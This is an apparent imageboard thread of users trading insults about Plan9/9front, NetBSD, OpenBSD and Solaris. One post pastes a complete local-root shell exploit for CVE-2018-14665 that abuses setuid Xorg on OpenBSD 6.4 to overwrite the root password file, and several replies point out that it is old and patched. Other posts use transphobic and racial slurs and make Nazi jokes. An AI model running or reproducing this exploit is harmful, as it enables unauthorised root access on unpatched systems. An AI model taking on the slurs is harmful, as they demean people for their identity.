what are your opinions on plan9/9front?

Name
Options	Spoiler Image
Comment
File
Embed
Password	(For file deletion.)

Chud 06/25/23 (Sun) 23:23:13 №6898

Chud 06/26/23 (Mon) 00:39:39 №6909

>>6898
idk what this is

Chud 06/26/23 (Mon) 00:44:02 №6910

>>6898
extremely based
plan9 is literally a fascist OS

Chud 06/26/23 (Mon) 00:50:53 №6912

>>6910
is this bait, everyone knows 9front (only active plan9 project) is developed by trannies.

Chud 06/26/23 (Mon) 01:00:33 №6913

>>6898
nazi gem

Chud 06/26/23 (Mon) 01:04:17 №6914

>>6910
antifascist os

Chud 06/26/23 (Mon) 01:05:34 №6915

>>6914
cope and sneed, plan9 will always heil hitler

Chud 06/26/23 (Mon) 01:17:29 №6916

NetBSD better, more actually usable

Chud 06/26/23 (Mon) 01:18:18 №6917

File: 1687742298934.png (259.43 KB, 2864x270, ClipboardImage.png)ImgOps

>>6915
see pic

Chud 06/26/23 (Mon) 01:18:36 №6918

>>6916
netbsd is pretty bad but still better than 9front.

Chud 06/26/23 (Mon) 01:19:44 №6919

>>6918
and then there's solaris ☠️

Chud 06/26/23 (Mon) 01:21:30 №6920

File: 1687742490077.png (1.17 MB, 1280x720, ClipboardImage.png)ImgOps

>>6919
>Solaris

Chud 06/26/23 (Mon) 03:46:48 №6925

File: 1687751208562.gif (2.24 MB, 188x237, giga gigachad fast animate….gif)ImgOps

>OpenBSD

Chud 06/26/23 (Mon) 16:30:02 №6968

File: 1687797002860.jpg (548.39 KB, 1078x1917, average_OpenBSD_User.jpg)ImgOps

>>6925

Chud 06/26/23 (Mon) 16:31:33 №6969

Marge

Chud 06/26/23 (Mon) 16:31:55 №6970

File: 1687797115792.png (121.58 KB, 387x321, v4lhv2wr4rx81.png)ImgOps

>>6968

Chud 06/26/23 (Mon) 16:43:49 №6977

File: 1687797829256.webm (11.08 MB, 1280x720, BSD - AN OS MADE FOR AND ….webm)ImgOps

>>6970
i dont use lunix doe

Chud 06/26/23 (Mon) 17:25:51 №6978

>>6970
Does making self deprecating jokes about your community happen in your country guys

Chud 06/27/23 (Tue) 05:10:20 №7029

>>6977
getglerald

Chud 06/27/23 (Tue) 16:04:49 №7048

>>6977
i remember this video, total gem.

Chud 06/29/23 (Thu) 01:23:34 №7169

>>6970
Mm feet

Chud 06/29/23 (Thu) 03:26:01 №7170

Plan9 has some interesting ideas, but 9front is gay antifa OS

Chud 07/13/23 (Thu) 14:04:08 №8160

>>6925
>>OpenBSD
#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD.
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp
'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie
&:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -

this post was written by NetBSD chads
see: https://isopenbsdsecu.re/mitigations/rootless_xorg/

Chud 07/13/23 (Thu) 14:24:53 №8164

>>8160
that's why I switched from the freebsd and openbsd to netbsd

Chud 07/13/23 (Thu) 14:37:49 №8166

>>6977
getgle tanzanite

Chud 07/13/23 (Thu) 15:13:31 №8168

>>8160
OpenBSD 6.4 is a 5 year old release retard

Chud 07/13/23 (Thu) 17:30:26 №8171

>>8160
wow i am really scared. what if i am running Xorg on a 5 year old version of OpenBSD. Ignore the fact that this affects 5 year old versions of Linux as well.

Chud 07/13/23 (Thu) 21:27:52 №8179

File: 1689283672846.jpg (90.91 KB, 711x598, Netbsd.jpg)ImgOps

>>8171
>>8168
it is still working to this day because OpenBSD still has suid on Xorg
linuxCHADS don't have this problem because it is handled by logind (or elogind on artix and gentoo and such)
FreeBSD and OpenBSD niggers lost because they are talking about being "more secure" than other systems while that not being the case
NetBSD and slackware CHADS won because they never promised anything about security, and they DID deliver on what they believe in
also because I love weev

Chud 07/13/23 (Thu) 21:37:23 №8180

>>8179
>it is still working to this day because OpenBSD still has suid on Xorg
meds, it was changed the release after
OpenBSD 6.5 release notes:
>Xorg(1), the X window server, is no longer installed setuid. xenodm(1) should be used to start X.
regardless, if you use X, you don't care about security anyway

Chud 07/13/23 (Thu) 22:23:29 №8186

File: 1689287009043.jpg (151.2 KB, 1280x720, openbsd.jpg)ImgOps

>>8180
I thought OpenBSD did based code hacking sessions on features they don't like to fix them
turns out they just delete them, tell you to use Y instead, and talks about how your choice is wrong even tho it is included in the base install
instead of fixing these issues they would rather discuss ways to get new users on openbsd-advocacy, cool!

Chud 07/13/23 (Thu) 22:24:48 №8187

>>8186
even linux users can tell you x is shit, if you really think it can be fixed then go try yourself

Chud 07/13/23 (Thu) 23:52:11 №8200

File: 1689292331567.png (1.36 MB, 1000x750, openbsd.png)ImgOps

>>8187
I know that X is shit, I've also read UNIX-HATERS, I use plan9 for most of my stuff (mostly acme stuff), I just hate soyboys who go
>Xenocara is OpenBSD's fork of Xorg, therfor it is much more secure than Xorg even tho they changed nothing and it is just the ports system they inherented from netbsd, I also suck big yellow cock
also there stance on their code being "correct", because ofcourse correct code leads to poor SMP performance and a virtual machine hypervisor that works on only one core
back to the original question: I hate how they protray themselves as "hackers" who know that the only fix to "feature creep" is "aggressive surgery" and that "few developers outside openbsd have the guts and discipline required to rescue their code*, so I would wish for these "hackers" to go and fix Xorg.

*: https://pspodcasting.net/dan/blog/2020/complexity.pdf , I am giving a source from an openbsd USER not DEVELOPER because I actually have no problem with the developers, they actually know what they are doing as opposed to their average fanboy, but maybe they should get rid of openbsd-advocacy, now

Chud 07/14/23 (Fri) 00:13:23 №8202

>>8200
I use openbsd (on an edge server only) because i like openbsd's relayd, httpd (except for the jail bs and broken cgi), smtpd, and acme-client and how they are integrated into the operating system. Quite aware of the shortcomings of OpenBSD though. UFS WILL corrupt if power is lost and WILL throw half the filesystem into lost+found, files are spread all over the place in stupid places like /usr/local/X11R6/usr/lib/bin/, jails in the default httpd config are unusable, disk io is dogshit, updating the system is weird, etc.